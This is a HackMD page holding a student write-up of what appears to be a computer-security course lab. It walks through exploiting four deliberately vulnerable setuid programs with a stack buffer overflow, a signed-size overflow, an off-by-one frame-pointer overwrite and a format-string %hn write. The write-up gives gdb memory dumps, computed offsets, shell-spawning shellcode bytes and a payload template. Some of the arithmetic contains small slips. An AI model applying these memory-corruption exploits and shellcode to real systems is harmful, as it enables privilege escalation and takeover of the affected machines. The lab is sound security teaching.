Alice Lyu
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    ## Q1. “Behind the Scenes” The function ``deja_vu()`` declared and called in program dejavu has a character buffer that gets initialized from user input, imposing a stack overflow vulnerability which an attacker can take advantage of. With the exploit script Neo provided, we can feed the program dejavu with a carefully designed buffer that overwrites the return address of function `deja_vu()` and inject code into memory above deja_vu’s stack frame. The goal is to make it such that when `deja_vu()` returns, the program is redirected to execute our injected code. Since the program exploit has its setuid bit set to be owned by the user of the next stage, Smith, the injected code is running at Smith's access level. To apply this plan and exploit the program, we need to first determine the offset between the return address and the buffer we are attacking. This is effectively the address of the instruction immediately following function call to `deja_vu()`. Disassembling the code shows that this address should be where `0xb7ffc4ce` is stored as the return address when executing function deja_vu's. Now let the program continue to execute function `deja_vu()`. Exam the memory and we figured the address to overwrite(`0xb7ffc4d3`) is stored at `0xbffffa88+8=0xbffffa90`, which is 5 words(20 bytes) away from the beginning of buffer door at `0xbffffa78`. With that, we assemble a buffer that first fill out the stack frame with arbitrary values, then overwrites the return address to one unit beyond where the return address is stored(which evaluates to `0xbffffa90`), and injected the shellcode there. Notice that x86 has little-endian byte code, the return address replacement 0xbffffa90 should be inverted. After feeding this input to program dejavu, we are able to run dumb-shell with Smith's access level, and obtained his user name and password. The screenshot below shows the memory layout during exploit. The return address `0xb7ffc4d3` is replaced with `0xbffffa90` where the shellcode takes place. ## Q2. Compromising Further The agent-smith program has a bug around line 16-18. The first character to read, which is supposed to represent the number of characters to read to the buffer msg, is assigned to the 8-bit signed integer size. However, if size is initialized to a negative number, the following if statement won’t detect it. And when a negative size is parsed into `fread()`, it is cast into a large integer which allows a stack smash attack. An attacker can overwrite the return address using buffer msg, inject malicious code and let the program jumps to execute the injected code. The return address is essentially the address of the line after calling `display()` in `main()`, which We inspect the stack frame in `display()` using gdb: The saved eip tells us the return address we want to overwrite is 0x400775. This address is stored at `0xbffffa58+4(bytes)`, which is `4*9+1=37` words away from the head of the buffer msg. We inject the shellcode right after the replacement for the return address, therefore the return address should be modified to `0xbffffa58+8=0xbffff60`. With these information, we’re ready to prepare an input buffer and launch the attack. This input begins with `37 words = 148 chars` to fill the space between &msg and , then overwrite the return address to 0xbffff60, and dump the shellcode. To determine the first character, we calculate the size of the buffer needed, which is `148 + 4(new return address) + 39(shellcode) = 191`. The unsigned binary representation of 191 is `10111111`. Therefore the leading character should be `\xbf`. Below is the frame info and stack layout showing our attack in process. The return address is modified as planned. ## Q3 The for loop in function flip() allows index i to go from 0 up to 64, which makes it possible to overwrite the last byte of the previous frame's ebp stored above buffer. To exploit this program, we need to: - Inject shellcode into memory and know the address. - Construct a buffer of length = 65, which must (1), replace the last byte of a stored ebp with the last byte such that ebp register will contain an address residing in the buffer when it's recovered, and (2) replace the content of that address with the address of our shellcode. The shellcode can be injected using environment variable ENV. We used gdb to find address of the injected code, which is 0xbfffff8f. This is the address we want the program to jump to. ``` (gdb) info variables environ All variables matching regular expression "environ": File src/env/__environ.c: char **__environ; (gdb) x/s *((char **)__environ) 0xbffffbfe: "SHLVL=1" (gdb) x/s *((char **)__environ+2) 0xbfffff8b: "ENV=j1X̀\211É\301jFX̀1\300Ph//shh/binT[PS\211\341\061Ұ\v̀" (gdb) x/s *((char **)__environ+2)+4 0xbfffff8f: "j1X̀\211É\301jFX̀1\300Ph//shh/binT[PS\211\341\061Ұ\v̀" ``` Notice that function flip will flip one bit of every character in the buffer, this address is converted to 0x9fdfdfaf accordingly as showed below: ``` original: b'1011 f'1111 f'1111 f'1111 f'1111 f'1111 8'1000 f'1111 1001 1111 => 9f 1101 1111 => df 1101 1111 => df 1010 1111 => af ``` Inspecting the address space in executing function flip(), we find the previous frame's ebp content is stored at address 0xbffffa20. ``` (gdb) x/20xw buf 0xbffff9e0: 0x00000000 0x00000001 0x00000000 0xbffffb8b 0xbffff9f0: 0x00000000 0x00000000 0x00000000 0xb7ffc44e 0xbffffa00: 0x00000000 0xb7ffefd8 0xbffffac0 0xb7ffc165 0xbffffa10: 0x00000000 0x00000000 0x00000000 0xb7ffc6dc 0xbffffa20: 0xbffffa2c 0xb7ffc539 0xbffffbbd 0xbffffa38 ``` The buffer is constructed by concatanating 64 repeating ` 0xafdfdf9f` and one ending character `\04` used to replace the last byte of stored `ebp` content. After `flip()` returns, we can tell from the gdb output that the buffer is successfully filled with the shellcode address, and the stored ebp value at `0xbffffa20` is also modified as expected. ``` (gdb) x/20xw buf 0xbffff9e0: 0xbfffff8b 0xbfffff8b 0xbfffff8b 0xbfffff8b 0xbffff9f0: 0xbfffff8b 0xbfffff8b 0xbfffff8b 0xbfffff8b 0xbffffa00: 0xbfffff8b 0xbfffff8b 0xbfffff8b 0xbfffff8b 0xbffffa10: 0xbfffff8b 0xbfffff8b 0xbfffff8b 0xbfffff8b 0xbffffa20: 0xbffffa04 0xb7ffc539 0xbffffbbc 0xbffffa38 ``` Run ./exploit and we got access to the next stage. ## Q4 The `printf()` function in `oracle()` takes user input as its argument, imposing a format string vulnerability. Since `printf` uses the format string to determine the number of arguments, the attacker can pass in a number of format specifier and gain access to stack memory. `printf` also has a feature using `%hn` specifier that allows the number of characters written to ouput so far to be stored at a certain memory. With that, we can pass in the shellcode in buffer and overwrite the return address to where the address of the shellcode. We first figured the address of `printf`'s argument: ``` pwnable:~$ cat e1 #!/bin/bash echo -n -e "AAAA%x %x %x %x %x %x %x" pwnable:~$ ./e1 | ./oracle AAAA1 20 40063c 0 280 180 41414141 ``` which is 7 address away from `printf()`. We then found that the return address is stored at `0xbffffa8c` using `gdb`. This is the address we will write to. ``` (gdb) s oracle () at oracle.c:4 4 { (gdb) info frame Stack level 0, frame at 0xbffffa90: ... ebx at 0xbffffa84, ebp at 0xbffffa88, eip at 0xbffffa8c ``` To avoid writing way too many characters to the standard output, we write the lower half of shellcode address to `0xbffffa8c` and then the higher half to `0xbffffa8c+2=0xbffffa8e`. We also need a palceholder between these two address because a number of characters must be written in between the two numbers, which corresponding to the lower and higher address of the shellcode, are written. This is necessay to make up the difference of the two numbers. The input string should take the form of `<ret address>%o%o<ret address+2><shellcode>%o%o%o%00000x%hn%00000x%hn` Now we can find the shellcode address, which is `&string+3*4=0xbffffa38`: ``` Breakpoint 1, oracle () at oracle.c:9 9 } (gdb) x/24xw &string 0xbffffa2c: 0xbffffa8e 0x6f256f25 0xbffffa8c 0xcd58316a 0xbffffa3c: 0x89c38980 0x58466ac1 0xc03180cd 0x2f2f6850 0xbffffa4c: 0x2f686873 0x546e6962 0x8953505b 0xb0d231e1 0xbffffa5c: 0x2580cd0b 0x256f256f 0x3030256f 0x78303030 0xbffffa6c: 0x256e6825 0x30303030 0x68257830 0x0000006e 0xbffffa7c: 0xfe96c04d 0x00000000 0xb7ffcf5c 0xbffffa98 ``` And we can calculate the offset. `bfff=>49151`, `fa38=>64056`. We would have to write `49151-63=49188` more characters to write `bfff`, and `64056-49151=14905` more characters to write `fa38`. Inspect stack space after filling in these two offsets and sending this input string to the exploit program, we can see the address that stores the return address is correctly overwriten to where shellcode is. ``` (gdb) x 0xbffffa8c 0xbffffa8c: 0xbffffa38 (gdb) x/39x 0xbffffa38 0xbffffa38: 0x6a 0x31 0x58 0xcd 0x80 0x89 0xc3 0x89 0xbffffa40: 0xc1 0x6a 0x46 0x58 0xcd 0x80 0x31 0xc0 0xbffffa48: 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0xbffffa50: 0x62 0x69 0x6e 0x54 0x5b 0x50 0x53 0x89 0xbffffa58: 0xe1 0x31 0xd2 0xb0 0x0b 0xcd 0x80 ```

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully